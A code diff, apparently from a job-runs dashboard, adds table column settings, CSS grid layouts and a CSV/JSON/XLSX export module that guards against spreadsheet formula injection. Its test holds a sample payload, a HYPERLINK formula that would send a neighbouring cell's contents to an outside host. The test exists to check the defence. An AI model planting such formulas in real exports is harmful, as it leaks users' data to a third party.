minmax(60px, 0.5fr) /* Duration (~7%) */
|
||||
minmax(200px, 2.3fr) /* Path (~33% reduced for wider tag) */
|
||||
minmax(150px, 1.8fr) /* Triggered by (~28% reduced for wider tag) */
|
||||
minmax(70px, 0.5fr) /* Tag (~7% wider) */
|
||||
minmax(40px, 0.3fr); /* Actions (~5%) */
|
||||
}
|
||||
|
||||
.grid-runs-table-with-labels-selection {
|
||||
grid-template-columns:
|
||||
50px /* Selection checkbox (fixed width) */
|
||||
80px /* Status (fixed width) */
|
||||
minmax(100px, 0.8fr) /* Started time (~10%) */
|
||||
minmax(60px, 0.5fr) /* Duration (~7%) */
|
||||
minmax(150px, 1.6fr) /* Path (~25% reduced for labels and wider tag) */
|
||||
minmax(120px, 1.3fr) /* Labels (~22% reduced for wider tag) */
|
||||
minmax(110px, 1.3fr) /* Triggered by (~22% reduced for wider tag) */
|
||||
minmax(70px, 0.5fr) /* Tag (~7% wider) */
|
||||
minmax(40px, 0.3fr); /* Actions (~5%) */
|
||||
}
|
||||
|
||||
/* Grid layouts without tag column */
|
||||
.grid-runs-table-no-tag {
|
||||
grid-template-columns:
|
||||
60px /* Status (fixed width) */
|
||||
minmax(100px, 0.8fr) /* Started time (~10%) */
|
||||
minmax(60px, 0.5fr) /* Duration (~7%) */
|
||||
minmax(200px, 2.8fr) /* Path (~38% expanded without tag) */
|
||||
minmax(150px, 2.2fr) /* Triggered by (~33% expanded without tag) */
|
||||
minmax(40px, 0.3fr); /* Actions (~5%) */
|
||||
}
|
||||
|
||||
.grid-runs-table-with-labels-no-tag {
|
||||
grid-template-columns:
|
||||
60px /* Status (fixed width) */
|
||||
minmax(100px, 0.8fr) /* Started time (~10%) */
|
||||
minmax(60px, 0.5fr) /* Duration (~7%) */
|
||||
minmax(150px, 1.8fr) /* Path (~30% expanded without tag) */
|
||||
minmax(120px, 1.8fr) /* Labels (~30% expanded without tag) */
|
||||
minmax(110px, 1.8fr) /* Triggered by (~30% expanded without tag) */
|
||||
minmax(40px, 0.3fr); /* Actions (~5%) */
|
||||
}
|
||||
|
||||
.grid-runs-table-selection-no-tag {
|
||||
grid-template-columns:
|
||||
40px /* Selection checkbox (fixed width) */
|
||||
60px /* Status (fixed width) */
|
||||
minmax(100px, 0.8fr) /* Started time (~10%) */
|
||||
minmax(60px, 0.5fr) /* Duration (~7%) */
|
||||
minmax(200px, 2.8fr) /* Path (~38% expanded without tag) */
|
||||
minmax(150px, 2.2fr) /* Triggered by (~33% expanded without tag) */
|
||||
minmax(40px, 0.3fr); /* Actions (~5%) */
|
||||
}
|
||||
|
||||
.grid-runs-table-with-labels-selection-no-tag {
|
||||
grid-template-columns:
|
||||
50px /* Selection checkbox (fixed width) */
|
||||
60px /* Status (fixed width) */
|
||||
minmax(100px, 0.8fr) /* Started time (~10%) */
|
||||
minmax(60px, 0.5fr) /* Duration (~7%) */
|
||||
minmax(150px, 1.8fr) /* Path (~30% expanded without tag) */
|
||||
minmax(120px, 1.8fr) /* Labels (~30% expanded without tag) */
|
||||
minmax(110px, 1.8fr) /* Triggered by (~30% expanded without tag) */
|
||||
minmax(40px, 0.3fr); /* Actions (~5%) */
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
export type RunsColumnId =
|
||||
| 'started'
|
||||
| 'duration'
|
||||
| 'path'
|
||||
| 'labels'
|
||||
| 'triggered_by'
|
||||
| 'trigger_kind'
|
||||
| 'trigger_path'
|
||||
| 'run_as'
|
||||
| 'tag'
|
||||
| 'worker'
|
||||
| 'id'
|
||||
|
||||
export type RunsColumn = {
|
||||
id: RunsColumnId
|
||||
label: string
|
||||
width: string
|
||||
defaultVisible: boolean
|
||||
// The header's job count overflows into the started column, so it always stays.
|
||||
required?: boolean
|
||||
description?: string
|
||||
}
|
||||
|
||||
// Display order of the table. The status and link columns are always shown.
|
||||
export const RUNS_COLUMNS: RunsColumn[] = [
|
||||
{
|
||||
id: 'started',
|
||||
label: 'Started',
|
||||
width: 'minmax(100px, 0.8fr)',
|
||||
defaultVisible: true,
|
||||
required: true
|
||||
},
|
||||
{ id: 'duration', label: 'Duration', width: 'minmax(60px, 0.5fr)', defaultVisible: true },
|
||||
{ id: 'path', label: 'Path', width: 'minmax(150px, 2fr)', defaultVisible: true },
|
||||
{
|
||||
id: 'labels',
|
||||
label: 'Labels',
|
||||
width: 'minmax(120px, 1.3fr)',
|
||||
defaultVisible: true,
|
||||
description: 'Shown when at least one listed run has labels'
|
||||
},
|
||||
{
|
||||
id: 'triggered_by',
|
||||
label: 'Triggered by',
|
||||
width: 'minmax(110px, 1.5fr)',
|
||||
defaultVisible: true
|
||||
},
|
||||
{
|
||||
id: 'trigger_kind',
|
||||
label: 'Trigger kind',
|
||||
width: 'minmax(100px, 0.7fr)',
|
||||
defaultVisible: false
|
||||
},
|
||||
{
|
||||
id: 'trigger_path',
|
||||
label: 'Trigger',
|
||||
width: 'minmax(120px, 1.3fr)',
|
||||
defaultVisible: false,
|
||||
description: 'Path of the schedule, trigger or app that started the run'
|
||||
},
|
||||
{
|
||||
id: 'run_as',
|
||||
label: 'Run as',
|
||||
width: 'minmax(100px, 1fr)',
|
||||
defaultVisible: false,
|
||||
description: 'The identity the run is permissioned as'
|
||||
},
|
||||
{
|
||||
id: 'tag',
|
||||
label: 'Tag',
|
||||
width: 'minmax(70px, 0.5fr)',
|
||||
defaultVisible: true,
|
||||
description: 'Hidden when the table is narrow'
|
||||
},
|
||||
{ id: 'worker', label: 'Worker', width: 'minmax(90px, 0.8fr)', defaultVisible: false },
|
||||
{ id: 'id', label: 'Run ID', width: 'minmax(90px, 1fr)', defaultVisible: false }
|
||||
]
|
||||
|
||||
export const DEFAULT_RUNS_COLUMNS: RunsColumnId[] = RUNS_COLUMNS.filter(
|
||||
(c) => c.defaultVisible
|
||||
).map((c) => c.id)
|
||||
|
||||
export function normalizeRunsColumns(columns: unknown): RunsColumnId[] {
|
||||
const known = Array.isArray(columns)
|
||||
? RUNS_COLUMNS.filter((c) => columns.includes(c.id)).map((c) => c.id)
|
||||
: DEFAULT_RUNS_COLUMNS
|
||||
return [...new Set([...RUNS_COLUMNS.filter((c) => c.required).map((c) => c.id), ...known])]
|
||||
}
|
||||
|
||||
function gridTracks(columns: RunsColumnId[], selectionMode: boolean): string[] {
|
||||
const widths = RUNS_COLUMNS.filter((c) => columns.includes(c.id)).map((c) => c.width)
|
||||
return [...(selectionMode ? ['50px'] : []), '60px', ...widths, 'minmax(40px, 0.3fr)']
|
||||
}
|
||||
|
||||
export function runsGridTemplateColumns(columns: RunsColumnId[], selectionMode: boolean): string {
|
||||
return gridTracks(columns, selectionMode).join(' ')
|
||||
}
|
||||
|
||||
// The rows are virtualized and clip what overflows them, so the table itself must be wide
|
||||
// enough for every track's minimum and let its container scroll horizontally instead.
|
||||
export function runsTableMinWidth(columns: RunsColumnId[], selectionMode: boolean): number {
|
||||
const tracksMin = gridTracks(columns, selectionMode).reduce(
|
||||
(sum, track) => sum + Number(/(\d+)px/.exec(track)?.[1] ?? 0),
|
||||
0
|
||||
)
|
||||
return Math.max(650, tracksMin + 16)
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import { toCsv } from './runsExport'
|
||||
|
||||
describe('runs CSV export', () => {
|
||||
it('quotes values a spreadsheet would evaluate as a formula', () => {
|
||||
const csv = toCsv([
|
||||
{ labels: '=HYPERLINK("https://x/?"&A2,"x")', tag: '+1', path: 'f/foo/-bar', n: -3 }
|
||||
])
|
||||
const [, row] = csv.split('\n')
|
||||
expect(row).toBe(`"'=HYPERLINK(""https://x/?""&A2,""x"")","'+1","f/foo/-bar",-3`)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,146 @@
|
||||
import type { Job } from '$lib/gen'
|
||||
import { Parser } from '@json2csv/plainjs'
|
||||
import { download } from '$lib/utils'
|
||||
|
||||
export type RunsExportFormat = 'csv' | 'json' | 'xlsx'
|
||||
|
||||
type Cell = string | number | boolean | null
|
||||
|
||||
function runStatus(job: Job): string {
|
||||
if (job.type === 'CompletedJob') {
|
||||
if (job.is_skipped) return 'skipped'
|
||||
if (job.canceled) return 'canceled'
|
||||
return job.success ? 'success' : 'failure'
|
||||
}
|
||||
if (job.canceled) return 'canceling'
|
||||
const running = 'running' in job && job.running
|
||||
if (running && 'suspend' in job && job.suspend) return 'suspended'
|
||||
return running ? 'running' : 'queued'
|
||||
}
|
||||
|
||||
// One flat row per run, every field the list returns that is worth analysing, whatever
|
||||
// columns the table shows.
|
||||
export function runsExportRows(jobs: Job[]): Record<string, Cell>[] {
|
||||
return jobs.map((job) => ({
|
||||
id: job.id,
|
||||
workspace_id: job.workspace_id ?? null,
|
||||
status: runStatus(job),
|
||||
resolved: job.type === 'CompletedJob' ? (job.resolved ?? false) : null,
|
||||
path: job.script_path ?? null,
|
||||
job_kind: job.job_kind,
|
||||
created_at: job.created_at ?? null,
|
||||
scheduled_for: job.type === 'QueuedJob' ? (job.scheduled_for ?? null) : null,
|
||||
started_at: job.started_at ?? null,
|
||||
completed_at: job.type === 'CompletedJob' ? (job.completed_at ?? null) : null,
|
||||
duration_ms: job.type === 'CompletedJob' ? job.duration_ms : null,
|
||||
triggered_by: job.created_by ?? null,
|
||||
trigger_kind: job.trigger_kind ?? null,
|
||||
trigger_path: job.trigger_path ?? null,
|
||||
permissioned_as: job.permissioned_as,
|
||||
email: job.email ?? null,
|
||||
tag: job.tag ?? null,
|
||||
worker: job.worker ?? null,
|
||||
labels: ('labels' in job ? job.labels?.join(', ') : undefined) ?? null,
|
||||
parent_job: job.parent_job ?? null,
|
||||
is_flow_step: job.is_flow_step ?? null,
|
||||
priority: job.priority ?? null,
|
||||
mem_peak: job.mem_peak ?? null
|
||||
}))
|
||||
}
|
||||
|
||||
// Labels, tags and paths are set by whoever runs a job, and a spreadsheet evaluates a cell
|
||||
// starting with one of these as a formula, so they are quoted as text.
|
||||
const FORMULA_PREFIX = /^[=+\-@\t\r]/
|
||||
|
||||
export function toCsv(rows: Record<string, Cell>[]): string {
|
||||
const fields = Object.keys(rows[0] ?? {})
|
||||
const safe = rows.map((row) =>
|
||||
Object.fromEntries(
|
||||
Object.entries(row).map(([k, v]) => [
|
||||
k,
|
||||
typeof v === 'string' && FORMULA_PREFIX.test(v) ? `'${v}` : v
|
||||
])
|
||||
)
|
||||
)
|
||||
return new Parser({ fields }).parse(safe)
|
||||
}
|
||||
|
||||
export async function exportRuns(jobs: Job[], format: RunsExportFormat): Promise<void> {
|
||||
const rows = runsExportRows(jobs)
|
||||
const stamp = new Date().toISOString().replace(/[:.]/g, '-')
|
||||
const filename = `runs-${stamp}.${format}`
|
||||
if (format === 'json') {
|
||||
download(filename, JSON.stringify(rows, null, 2), 'application/json')
|
||||
} else if (format === 'csv') {
|
||||
download(filename, toCsv(rows), 'text/csv;charset=utf-8')
|
||||
} else {
|
||||
const blob = await toXlsx(rows)
|
||||
const url = URL.createObjectURL(blob)
|
||||
const a = document.createElement('a')
|
||||
a.href = url
|
||||
a.download = filename
|
||||
a.click()
|
||||
setTimeout(() => URL.revokeObjectURL(url), 100)
|
||||
}
|
||||
}
|
||||
|
||||
function escapeXml(s: string): string {
|
||||
return s
|
||||
.replace(/[\u0000-\u0008\u000B\u000C\u000E-\u001F]/g, '')
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
}
|
||||
|
||||
function columnName(i: number): string {
|
||||
let name = ''
|
||||
for (let n = i + 1; n > 0; n = Math.floor((n - 1) / 26)) {
|
||||
name = String.fromCharCode(65 + ((n - 1) % 26)) + name
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
function xlsxCell(value: Cell, ref: string): string {
|
||||
if (value === null || value === '') return ''
|
||||
if (typeof value === 'number') return `<c r="${ref}"><v>${value}</v></c>`
|
||||
if (typeof value === 'boolean') return `<c r="${ref}" t="b"><v>${value ? 1 : 0}</v></c>`
|
||||
return `<c r="${ref}" t="inlineStr"><is><t xml:space="preserve">${escapeXml(value)}</t></is></c>`
|
||||
}
|
||||
|
||||
// A single-sheet workbook with inline strings: the smallest part set Excel, Numbers and
|
||||
// LibreOffice all open.
|
||||
export async function toXlsx(rows: Record<string, Cell>[]): Promise<Blob> {
|
||||
const { default: JSZip } = await import('jszip')
|
||||
const headers = Object.keys(rows[0] ?? {})
|
||||
const sheetRows = [headers as Cell[], ...rows.map((r) => headers.map((h) => r[h]))].map(
|
||||
(cells, r) =>
|
||||
`<row r="${r + 1}">${cells.map((v, c) => xlsxCell(v, `${columnName(c)}${r + 1}`)).join('')}</row>`
|
||||
)
|
||||
const zip = new JSZip()
|
||||
zip.file(
|
||||
'[Content_Types].xml',
|
||||
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'
|
||||
)
|
||||
zip.file(
|
||||
'_rels/.rels',
|
||||
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'
|
||||
)
|
||||
zip.file(
|
||||
'xl/workbook.xml',
|
||||
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Runs" sheetId="1" r:id="rId1"/></sheets></workbook>'
|
||||
)
|
||||
zip.file(
|
||||
'xl/_rels/workbook.xml.rels',
|
||||
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'
|
||||
)
|
||||
zip.file(
|
||||
'xl/worksheets/sheet1.xml',
|
||||
`<?xml version="1.0" encoding="UTF-8" standalone="yes"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData>${sheetRows.join('')}</sheetData></worksheet>`
|
||||
)
|
||||
return zip.generateAsync({
|
||||
type: 'blob',
|
||||
compression: 'DEFLATE',
|
||||
mimeType: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user